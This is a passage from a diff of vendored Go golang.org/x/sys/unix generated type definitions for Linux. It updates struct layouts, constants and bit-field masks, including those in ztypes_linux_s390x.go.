-+ Cpu_count uint64
-+ Cpu_delay_total uint64
-+ Blkio_count uint64
-+ Blkio_delay_total uint64
-+ Swapin_count uint64
-+ Swapin_delay_total uint64
-+ Cpu_run_real_total uint64
-+ Cpu_run_virtual_total uint64
-+ Ac_comm [32]uint8
-+ Ac_sched uint8
-+ Ac_pad [3]uint8
-+ _ [4]byte
-+ Ac_uid uint32
-+ Ac_gid uint32
-+ Ac_pid uint32
-+ Ac_ppid uint32
-+ Ac_btime uint32
-+ Ac_etime uint64
-+ Ac_utime uint64
-+ Ac_stime uint64
-+ Ac_minflt uint64
-+ Ac_majflt uint64
-+ Coremem uint64
-+ Virtmem uint64
-+ Hiwater_rss uint64
-+ Hiwater_vm uint64
-+ Read_char uint64
-+ Write_char uint64
-+ Read_syscalls uint64
-+ Write_syscalls uint64
-+ Read_bytes uint64
-+ Write_bytes uint64
-+ Cancelled_write_bytes uint64
-+ Nvcsw uint64
-+ Nivcsw uint64
-+ Ac_utimescaled uint64
-+ Ac_stimescaled uint64
-+ Cpu_scaled_run_real_total uint64
-+ Freepages_count uint64
-+ Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x20
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-index 5e0aa663..cca1b6be 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- _ [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- _ [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,7 +39,6 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- _ [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -116,22 +99,6 @@ type Stat_t struct {
- _ [3]int64
- }
-
--type Statfs_t struct {
-- Type uint32
-- Bsize uint32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen uint32
-- Frsize uint32
-- Flags uint32
-- Spare [4]uint32
-- _ [4]byte
--}
--
- type Dirent struct {
- Ino uint64
- Off int64
-@@ -141,115 +108,20 @@ type Dirent struct {
- _ [5]byte
- }
-
--type Fsid struct {
-- _ [2]int32
--}
--
- type Flock_t struct {
- Type int16
- Whence int16
-- _ [4]byte
- Start int64
- Len int64
- Pid int32
- _ [4]byte
- }
-
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
--}
--
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x6
-- FADV_NOREUSE = 0x7
-+ FADV_DONTNEED = 0x6
-+ FADV_NOREUSE = 0x7
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- _ [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,45 +132,14 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- _ [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
-@@ -313,277 +154,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- _ [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
--const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
--)
--
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- _ uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
- const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
-+ SizeofSockFprog = 0x10
- )
-
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- _ [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Psw PtracePsw
- Gprs [16]uint64
-@@ -601,18 +181,15 @@ type PtracePsw struct {
-
- type PtraceFpregs struct {
- Fpc uint32
-- _ [4]byte
- Fprs [16]float64
- }
-
- type PtracePer struct {
- _ [0]uint64
-- _ [24]byte
-- _ [8]byte
-+ _ [32]byte
- Starting_addr uint64
- Ending_addr uint64
- Perc_atmid uint16
-- _ [6]byte
- Address uint64
- Access_id uint8
- _ [7]byte
-@@ -633,7 +210,6 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- _ [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-@@ -641,18 +217,8 @@ type Sysinfo_t struct {
- _ [4]byte
- }
-
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
--}
--
- type Ustat_t struct {
- Tfree int32
-- _ [4]byte
- Tinode uint64
- Fname [6]int8
- Fpack [6]int8
-@@ -667,37 +233,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- _ [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -710,20 +253,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- _ [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- _ [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -741,7 +275,6 @@ type Taskstats struct {
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -765,55 +298,320 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type uint32
-+ Bsize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen uint32
-+ Frsize uint32
-+ Flags uint32
-+ Spare [4]uint32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ SizeofTpacketHdr = 0x20
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
